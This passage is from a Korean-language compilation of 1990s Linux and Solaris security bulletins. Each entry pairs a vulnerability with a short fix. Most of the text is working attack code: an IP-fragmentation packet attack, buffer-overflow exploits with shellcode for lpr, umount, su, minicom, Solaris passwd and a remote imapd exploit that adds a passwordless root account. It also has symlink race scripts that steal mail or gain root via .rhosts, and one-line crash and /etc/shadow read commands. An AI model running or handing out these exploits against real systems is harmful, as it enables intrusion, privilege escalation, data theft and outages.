    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + 10);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }

    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

    byte = 0x45;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) = FIX(6);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 4;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + MAGIC2);   /* UDP total length */

    if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
                sizeof(struct sockaddr)) == -1)
    {
        perror("\nsendto");
        free(packet);
        exit(1);
    }

    p_ptr  = packet;
    bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
    byte = 0x4F;                        /* IP version and header length */
    memcpy(p_ptr, &byte, sizeof(u_char));
    p_ptr += 2;                         /* IP TOS (skipped) */
    *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* total length */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(242);   /* IP id */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* IP frag flags and offset */
    p_ptr += 2;
    *((u_short *)p_ptr) = 0x40;         /* IP TTL */
    byte = IPPROTO_UDP;
    memcpy(p_ptr + 1, &byte, sizeof(u_char));
    p_ptr += 4;                         /* IP checksum filled in by kernel */
    *((u_long *)p_ptr) = src_ip;        /* IP source address */
    p_ptr += 4;
    *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
    p_ptr += 44;
    *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
    p_ptr += 2;
    *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

        for(i=0;ih_addr, (char *)&addr.s_addr, host_ent->h_length);
    }
    return (addr.s_addr);
}

void usage(u_char *name)
{
    fprintf(stderr,
            "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
            name);
    exit(0);
}


해결책
        다음과 같이 커널 소스를 수정해서 커널 컴파일을 다시 해라
        커널 소스중에 ip_fragment.c 를 찾아서 수정하면된다.
        에디터로 불러내서
        if (fp->len < 0 || count+fp->len > skb->len)
        부분을
        if (fp->len < 0 || fp->offset+qp->ihlen+fp->len > skb->len)
        라고 수정한후에 커널 컴파일 하면된다.

---------------------------

 제  목: [보안] 리눅스 슬랙 3.4 dip 버그
명령

        dip 3.3.7o

시스템

        리눅스

문제점

        인수 체크를 하지 않아서 생기는 버퍼 오버 플로우 버그이다.
        다음의 소스를 보면 문제점을 발견할 수 있다.

        (dip 프로그램의 main.c 소스의 일부)
        189 번째 줄 부터 시작
          return;
        }

        sprintf(buf,"%s/LCK..%s", _PATH_LOCKD, nam);

        fp = fopen(buf,"r");
        if (fp == (FILE *)0) {
        .... (생략)

        위에서 보다 시피 sprintf() 함수부분에서 인수 체크를 하지 않는다.

        이를 이용해서 세그먼트 폴트를 낼 수가 있다.

        dip -k -l `perl -e 'print "a" x 2000'`

        위의 커맨드를 입력시키면

        DIP: cannot open /var/lock/LCK..aaaaaaaaaaaaaaaa(중간생략 2000개)
        aaaaaaaaaaaa:No such file or directory
        Segmentation fault
        이렇게 되어서 위험성을 노출 시킨다.

해결책

        dip 소스의 main.c 함수중에
        189번째 줄 부근에
          return;
        }

        sprintf(buf,"%s/LCK..%s", _PATH_LOCKD, nam);

        fp = fopen(buf,"r");
        if (fp == (FILE *)0) {

        에서
        sprintf(buf,"%s/LCK..%s", _PATH_LOCKD, nam); 을
        snprintf(buf,sizeof(buf),"%s/LCK..%s", _PATH_LOCKD, nam); 로 바꾼다.

        아니면 chmod -s dip 를 한후에 패치 버젼이 나오면 바꾼다.

---------------------------

 제  목: [보안] elm의 유틸인 filter
명령

        filter, an elm utility

시스템

        linux - Slackware 3.0, others with sgid mail filter

문제점

        셋유저 그룹id가 결려 있기 때분에 이를 이용해 남의 메일을 읽어 낼 수
        있다.
        보안상 헛점이다.


#!/bin/sh
# This shell script exploits a problem with filter(1L)
# it will follow symbolic links, on a read allowing
# us to steal a users mail file.
#

cp /var/spool/mail/$LOGNAME ~
cp /dev/null /var/spool/mail/$LOGNAME
echo 'if (always) forward' $LOGNAME > /tmp/fread-ftr.tmp

cat << _EOF_ >> /tmp/fread-msg.tmp
From: Dave
To: $LOGNAME
Subject: Filter Exploit

_EOF_

echo sleep 2 > /tmp/fread-sh.tmp
echo cat /tmp/fread-msg.tmp >> /tmp/fread-sh.tmp
chmod +x /tmp/fread-sh.tmp
/tmp/fread-sh.tmp|filter -f /tmp/fread-ftr.tmp &
FREAD=`ps|grep 'filter -f'|grep -v grep|awk '{print $1}'`
rm -f /tmp/filter.$FREAD
ln -s /var/spool/mail/$1 /tmp/filter.$FREAD
sleep 2
rm -f /tmp/fread-ftr.tmp /tmp/fread-msg.tmp /tmp/fread-sh.tmp
/tmp/fread-ftr.tmp /tmp/filter.$FREAD
FREAD=

cp /var/spool/mail/$LOGNAME ~/$1.mail
cp ~/$LOGNAME /var/spool/mail
more ~/$1.mail

해결

        셋유저그룹을 없애라.

---------------------------

 제  목: [보안] 리눅스 Doom(3)
명령

        /usr/games/doom/killmouse

시스템

        Slackware 3.0, other distributions might be too.

문제점

        startmouse 처럼 이번에는 killmouse 이용하여 보안상 헛점을 발견
        할 수 있다.

         /usr/games/doom/startmouse.sh:
         #!/bin/sh
         if [ -r /tmp/gpmkilled ]; then
           /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript
           /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled
         fi

         /usr/games/doom/killmouse.sh:
         #!/bin/sh
         if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ;

then
           GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled
         fi



         $ touch /tmp/gpmkilled
         $ /usr/games/doom/startmouse

         ps -aux | grep gpm
         bo        1436  0.0  2.0   40  312 v03 R    16:33   0:00 grep gpm
         root      1407  0.0  2.4   42  368  ?  S    16:24   0:00
/usr/bin/gpm t ms

    Fine,   it's   running.   Now   we'll  use  killmouse  to kill the
    process, but first we set  our umask to 0 and  link /tmp/gpmkilled
    to /root/.rhosts:

         $ umask 0
         $ ln -s /root/.rhosts /tmp/gpmkilled
         $ /usr/games/doom/killmouse
          1407  ?  S     0:00 gpm t ms

         $ ls -l /root/.rhosts
         -rw-rw-rw-   1 root     users           0 Dec 13 16:44
/root/.rhosts

         $ echo localhost bo > /root/.rhosts

         $ rsh -l root localhost sh -i
         bash#

해결
        killmouse와 startmouse 의 setuid 를 모두 없애라

---------------------------

 제  목: [보안] 리눅스 imapd
명령

        imapd

시스템

        Linux (RedHat), Slackware 3.2

문제점

        로컬 호스트는 물론 리모트 사용자 까지 침입할 수 있는 보안상 헛점이
        발견되었다. imapd데몬을 공격하는 것이다.
        최근에 imapd 데몬의 문제점이 또하나 발견되었다.

    #include
    #include
    #include
    #include
    #include
    #include
    #include

    char *h_to_ip(char *hostname);

    char *h_to_ip(char *hostname) {

      struct hostent *h;
      struct sockaddr_in tmp;
      struct in_addr in;

      h = gethostbyname(hostname);

      if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }

      memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
      memcpy(&in,&tmp.sin_addr.s_addr,4);

    return(inet_ntoa(in));
    }

    void banner(void) {
      system("clear");
      printf("\nIMAP Exploit for Linux.\n");
      printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");

      printf(" Modifications: p1 (p1@el8.org)\n");
    }

    main(int argc, char **argv) {

      int fd;
      struct sockaddr_in sckdaddr;
      char *hostname;
      char buf[4092];
      int i=8;
      char realegg[] =
        "\xeb\x58\x5e"
        "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
        "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
        "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
        "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
        "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
        "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
        "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
        "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
        "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"

        "/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
      char *point = realegg;
      buf[0]='*';
      buf[1]=' ';
      buf[2]='l';

      buf[3]='o';
      buf[4]='g';
      buf[5]='i';
      buf[6]='n';
      buf[7]=' ';

      banner();

      if (argc<2)  {
         printf("\nUsage: %s \n\n", argv[0]);
         exit(-1);
      }

      hostname=argv[1];

      while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
        buf[i++]=0x90;

      while(*point)
        buf[i++]=*(point++);

      buf[i++]=0x83; /* ebp */
      buf[i++]=0xf3;
      buf[i++]=0xff;
      buf[i++]=0xbf;
      buf[i++]=0x88; /* ret adr */
      buf[i++]=0xf8;
      buf[i++]=0xff;
      buf[i++]=0xbf;

      buf[i++]=' ';
      buf[i++]='b';
      buf[i++]='a';
      buf[i++]='h';
      buf[i++]='\n';

      buf[i++]=0x0;


      if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");

      sckdaddr.sin_port=htons(143);
      sckdaddr.sin_family=AF_INET;
      sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));

      if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
    perror("Error with connecting. \n");

      printf("hmm: \n");
      getchar();

      write(fd,buf,strlen(buf)+1);
      printf("hmm: \n");
      close(fd);
    }

        이것은 상당히 위험한 소스로써 원하는 호스트에 적당한 조건만
        생기면 루트 권한을 아주 쉽게 만들어낼수 있다.
        /etc/passwd 파일안에 xroot::0:0:~~:/:/bin/sh 라는 종류의
        내용이 들어가게된다.

해결책

        래드햇 4.0 사용자는 래드햇 4.1에 있는 패키지나 4.2에 있는 패키지로
        업그레이드를 하고 래드햇 2.0은 그냥 지워라. rpm -e imap
        슬랙웨어 사용자또한 패치를 해라
        모든 패치를 하기 싫으면 지우는 게 상책이다.

---------------------------

 제  목: [보안] 리눅스 ping버그
명령

    kernel(ping)

시스템

    리눅스 커널
    SunOS
    HP

문제

        ping -l 65510 host.running.linux

        리부팅 시킨다.. 어떤 유저든지.

해결

        커널을 업한다. 2.0.30 으로..

---------------------------

 제  목: [보안] 리눅스 라이브러리(5.4.7)
명령

        libc.so

시스템

        Linux (using libc.so older than 5.4.7)

문제점

        환경 변수를 조작해서 어떤 파일이든지 읽을 수 있다.

        export RESOLV_HOST_CONF=/etc/shadow; ssh asdf
        export RESOLV_HOST_CONF=/etc/shadow; ping asdf
        export RESOLV_HOST_CONF=/etc/shadow; finger asdf
        export RESOLV_HOST_CONF=/etc/shadow; traceroute asdf

해결
        새로운 버젼의 라이브러리를 인스톨 한다.

---------------------------

 제  목: [보안] 리눅스 lpr
명령

        lpr

시스템

        Linux

문제점

        lpr 을 이용해서 기존의 파일을 덮어 씌우던지 새롭게 생성할 수 있다.

    #!/bin/csh -f
    #
    # Usage: lprcp from-file to-file
    #

    if ($#argv != 2) then
        echo Usage: lprcp from-file to-file
        exit 1
    endif

    # This link stuff allows us to overwrite unreadable files,

    # should we want to.
    echo x > /tmp/.tmp.$$
    lpr -q -s /tmp/.tmp.$$
    rm -f /tmp/.tmp.$$          # lpr's accepted it, point it
    ln -s $2 /tmp/.tmp.$$           # to where we really want

    @ s = 0
    while ( $s != 999)          # loop 999 times
        lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
        @ s++
        if ( $s % 10 == 0 ) echo -n .
    end
    lpr $1                      # incoming file
                                # user becomes owner
    rm -f /tmp/.tmp.$$
    exit 0

해결

        궁여지책으로 755 로 할수 있으나 그래도 심볼릭 링크를 생성하는
        보안상 헛점이 있으므로 700모드로 해두어라.
        최신 판의 lpr을 인스톨 하거나 lpr wrapper을 설치하면된다.

---------------------------

 제  목: [보안] 리눅스 lpr (2)
명령

        lpr

시스템

        Linux 2.0.20 (others?)

문제점

        버퍼 오버플로어를 이용해서 루트를 얻을 수 있다.


#include
#include
#include

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");

}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"

"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);

   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i
#include

/*
 * Make sure REAL_LPR points to the location you copied lpr to in
 * step #4.
 */

#define REAL_LPR "/usr/bin/lpr.real"


main(argc,argv,envp)
int     argc;
char    *argv[];
char    *envp[];
{
        int     ct;

        for (ct=1;ct BUFSIZ)
                {
                        fprintf(stderr,"You have exceeded the argument
length ...Exiting\n");
#ifdef SYSLOG
                        syslog(LOG_ERR,"Possible lpr buffer overrun attack
by uid %d\n",getuid());
#endif
                        exit(1);
                }
        }
        execve(REAL_LPR,argv,envp);
        perror("execve lpr failed");
}

---------------------------

 제  목: [보안] 리눅스 lpr (3)

명령

        lpr

시스템

        linux 2.1.5 kernel, slackware 96 distribution

문제점

        어처구니 없는 일이다.
        설치된 상태 그대로 놔두면 그냥 해킹당한다. 조심하라.

        Loveyou# uname -a
        Linux ieee 2.1.5 #3 Sat Oct 19 13:34:54 EST 1986 i486
        Loveyou# ./lpr
        bash# id
        uid=(503)security gid=100(users) euid=0(root) egid=7(lp)
        groups=100(users)
        bash#

해결책

        새로운 버젼의 lpr을 가져다 놓던지 700 모드로 해두어라

---------------------------

 제  목: [보안] 리눅스 libXt
명령

        libXt

시스템

        RedHat 4.0, 4.1, 4.2

문제점

        libXt의 문제가 되는 프로그램이다. 상당히 위험한 수준이므로 소스코드는
        공개하지 않겠다.
        버퍼 오버 플로우를 일으킬수 있으며 버그 패치를 하지 않는 서버는 위험
        한 수준으로 올라간다.


해결

    셋유저 아이디가 있는 프로그램을 찾아서 모두 755 모드로..

        $ cd /usr/X11/bin
        $ find . -type f -a \( -perm -2000 -o -perm -4000 \) -print

        $ find . -type f -a \( -perm -2000 -o -perm -4000 \) -print

    아래의 해당 사이트에 가서 새로운 버그 패치판을 구해 와서 깔면 된다.

    o Red Hat Linux/Alpha 4.1, 4.2

ftp://ftp.redhat.com/updates/4.2/alpha/XFree86-devel-3.2-10.alpha.rpm

ftp://ftp.redhat.com/updates/4.2/alpha/XFree86-libs-3.2-10.alpha.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-devel-3.$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-libs-3.2$


    o Red Hat Linux/Intel 4.0, 4.1, 4.2
ftp://ftp.redhat.com/updates/4.2/i386/XFree86-devel-3.2-10.i386.rpm
        ftp://ftp.redhat.com/updates/4.2/i386/XFree86-libs-3.2-10.i386.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-devel-3.$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/XFree86-libs-3.2$


    o Red Hat Linux/SPARC 4.0, 4.1, 4.2


ftp://ftp.redhat.com/updates/4.2/sparc/X11R6.1-devel-pl1-21.sparc.rpm

ftp://ftp.redhat.com/updates/4.2/sparc/X11R6.1-libs-pl1-21.sparc.rpm

ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/X11R6.1-devel-pl$


ftp://ftp.aoy.com/pub/Linux/security/DISTRIBUTION-FIXES/RedHat/X11R6.1-libs-pl1$

---------------------------

 제  목: [보안] 리눅스 minicom
명령

        usr/bin/minicom (1.75)

시스템

        슬랙웨어 3.1 과 래드햇 4.1    외.. 다수

문제

        미니 콤 이라는 통신 프로그램에 어떤 문제가 있음을 말한다.
        버퍼 오버플로우를 일으켜서 그룹 id(uucp)를 얻는다.


/* this stack overflow exploit code was written by jsn
*/
/* provided "as is" and without any warranty. Sun Feb  9 08:12:54 MSK 1997
*/
/* usage: argv[0] their_stack_offset buffer_size target_program [params]
*/
/* generated string will be appended to the last of params.
*/
/* examples: stack -600 1303 /usr/bin/lpr "-J"
*/
/*           stack -640 153  /usr/bin/minicom -t vt100 -d ""
*/

#include
#include
#include
#include
#include

#define NOP     0x90
const char usage[] = "usage: %s stack-offset buffer-size argv0 argv1
...\n";

extern          code();
void    dummy( void )
{
        extern  lbl();

        /* do "exec( "/bin/sh" ); exit(0)" */
__asm__( "
code:   xorl    %edx, %edx
        pushl   %edx
        jmp     lbl
start2: movl    %esp, %ecx
        popl    %ebx
        movb    %edx, 0x7(%ebx)
        xorl    %eax, %eax
        movb    $0xB, %eax
        int     $0x80
        xorl    %ebx, %ebx
        xorl    %eax, %eax
        inc     %eax
        int     $0x80
lbl:    call    start2
        .string \"/bin/sh\"
 ");
}

void            Fatal( int rv, const char *fmt, ... )
{
        va_list         vl;
        va_start( vl, fmt );
        vfprintf( stderr, fmt, vl );
        va_end( vl );
        exit( rv );
}

int             main( int ac, char **av )
{
        int             buff_addr;      /* where our code is */
        int             stack_offset = 0,
                        buffer_size = 0, i, code_size;
        char            *buffer, *p;

        buff_addr = (int)(&buff_addr);          /* get the stack pointer
*/
        code_size = strlen( (char *)code );     /* get the size of piece
of */
                                                /* code in dummy()      */

        if( ac < 5 )    Fatal( -1, usage, *av );

        buff_addr -= strtol( av[ 1 ], NULL, 0 );
        buffer_size = strtoul( av[ 2 ], NULL, 0 );

        if( buffer_size < code_size + 4 )
            Fatal( -1, "buffer is too short -- %d minimum.\n", code_size +
5);
            /* "this is supported, but not implemented yet" ;) */

        if( (buffer = malloc( buffer_size )) == NULL )
            Fatal( -1, "malloc(): %s\n", strerror( errno ) );

        fprintf( stderr, "using buffer address 0x%8.8x\n", buff_addr );

        for( i = buffer_size - 4; i > buffer_size / 2; i -= 4 )
                *(int *)(buffer + i) = buff_addr;

        memset( buffer, NOP, buffer_size/2 );

        i = (buffer_size - code_size - 4)/2;

        memcpy( buffer + i, (char *)code, code_size );
        buffer[ buffer_size - 1 ] = '\0';

        p = malloc( strlen( av[ ac - 1 ] ) + code_size + 1 );
        if( !p )
            Fatal( -1, "malloc(): %s\n", strerror( errno ) );

        strcpy( p, av[ ac - 1 ] );
        strcat( p, buffer );
        av[ ac - 1 ] = p;

        execve( av[ 3 ], av + 3, NULL );
        perror( "exec():" );

}


SOLUTION

        755 모드로 해놓아도 어떤 지장이 없다.
        chmod 755 `which minicom`

---------------------------

 제  목: [보안] 리눅스 mount,umount
명령

        mount-umount

시스템

        RedHat Linux

문제점

        마운트 명령은 과거부터 계속 문제가 되어 왔던 프로그램으로.. 대부분은
        700모드로 놔둔다.. 그것이 상책이다.
        이는 버퍼 오버플로우를 보여준다.

#include
#include
#include
#include

#include
#include

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
  __asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"

   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
   int i;
   int ofs = DEFAULT_OFFSET;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;

   /* fill start of buffer with nops */

   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);

   /* stick asm code into the buffer */

   for(i=0;i
    #include

    #include

    char *shellcode =

"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"

"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"

"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
      "\xcd\x80/"
      "/bin/sh"
      "0";

    char *get_sp() {
       asm("movl %esp,%eax");
    }

    #define bufsize 2048
    char buffer[bufsize];

    main() {
      int i;

      for (i = 0; i < bufsize - 4; i += 4)
        *(char **)&buffer[i] = get_sp() - 3072;

      memset(buffer, 0x90, 512);
      memcpy(&buffer[512], shellcode, strlen(shellcode));

      buffer[bufsize - 1] = 0;

      setenv("NLSPATH", buffer, 1);

      execl("/bin/su", "/bin/su", NULL);

   }

해결책

        libc를 업그레이드 시켜라

---------------------------

 제  목: [보안] 솔라리스 (nis,yp) passwd
명령

        (nis,yp)passwd

시스템

        솔라리스 2.X

문제점

        -s 옵션상의 문제다.
        다음과 같은 오버 플로우 방법으로 루트권한을 획득한다.

        솔라리스 2.5.(1) 버젼.


#include
#include
#include
#include

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
" 코드 " ;


u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}


        솔라리스 2.4 버젼
#include
#include
#include
#include

#define BUF_LENGTH      600
#define EXTRA           600
#define STACK_OFFSET    1400
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] ="쉘 코드 ";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA + 8];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf ;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", & buf[1],(char *) 0);
  perror("execl failed");
}


해결책
        선 사이트에 가서 패치하라.
       OS version      Patch ID
        ----------      --------
        SunOS 5.5.1     104433-03
        SunOS 5.5.1_x86 104434-02
        SunOS 5.5       103178-03
        SunOS 5.5_x86   103179-03
        SunOS 5.4       101945-49    (to be released in 5 weeks from 29/04/1997)

        SunOS 5.4_x86   101946-43    (to be released in 5 weeks from 29/04/1997)

        SunOS 5.3       101318-87    (to be released in 6 weeks from 29/04/1997)


        아니면 오버플로우 와퍼를 구해서 깔아라.

        ftp ://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c

---------------------------

 제  목: [보안] 솔라리스 ping (1)
명령

        ping

시스템

        솔라리스 2.X

문제점

        ping 으로 솔라리스를 리부팅할수 있다. 어떤 유저든지

        ping -sv -i 127.0.0.1 224.0.0.1

해결책

        OS version      Patch ID
        __________      ________
        SunOS 5.5.1     103630-09
        SunOS 5.5.1_x86 103631-09
        SunOS 5.5       103169-12
        SunOS 5.5_x86   103170-12
        SunOS 5.4       101945-52   (to be released)
        SunOS 5.4_x86   101946-46   (to be released)
        SunOS 5.3       101318-89   (to be released)

        아니면 솔라리스 패치가 자주 나오는


        ftp://sunsolve1.sun.com/pub/patches
        에 가서 패치 버젼을 가져와라.

---------------------------

 제  목: [보안] 솔라리스 rsh
명령

        rsh

시스템
        솔라리스 2.4 2.5.1

문제점
        rshd 와 같은 것을 이용해서 루트 소유의 소켓을 건드릴수 있다.

        cc solarisuck.c -o solarisuck -lsocket
        rsh localhost ./solarisuck

        solaisuck.c 소스
#include
#include
#include
#include
#include
#include

int main(int argc, char *argv[])
{
        struct ifreq please_break_me;

        strcpy( please_break_me.ifr_name, "lo0");
        please_break_me.ifr_flags=0;

        if(ioctl(0, SIOCSIFFLAGS, &please_break_me)==-1)
                perror("Damn it didnt work. Obviously not Solaris ;)");
}


해결책
        쓸필요 없는 rshd 데몬을 죽여놓자. (/etc/inetd.conf참조)
        Patch 103093(솔라리스2.5용)로 패치해도 되지만 어떤 문제점이
        제기되었다.

---------------------------

 제  목: [보안] 솔라리스 lp,lpsched
명령
        lp, lpsched

시스템

        솔라리스 2.4 2.5 2.5.1

문제점

        lp 를 이용해서 /var/tmp에 생성되는 임시 파일을 다른 파이로
        링크 시켜서 놓으면 모드 666 이고 lp 소유권의 파일을 생성
        할 수 있다.

        그 예..
            #!/bin/sh
    #
    # lpNet & temp file exploit:
    #   break lp, then use lp priv to break root (or bin, etc...).
    #
    #   Written by: Chris Sheldon (csh@viewgraphics.com)
    #
    #   Tested on Solaris-2.5.1:
    #     SunOS testhost 5.5.1 Generic sun4m sparc SUNW,SPARCstation-20
    #
    #   Caveat: This system is running without patches. Sun released
    #     patch 103959-03 for 2.5.1 on Feb 27, 1997. lpNet and lpsched
    #     were replaced in that patch, but the patch README does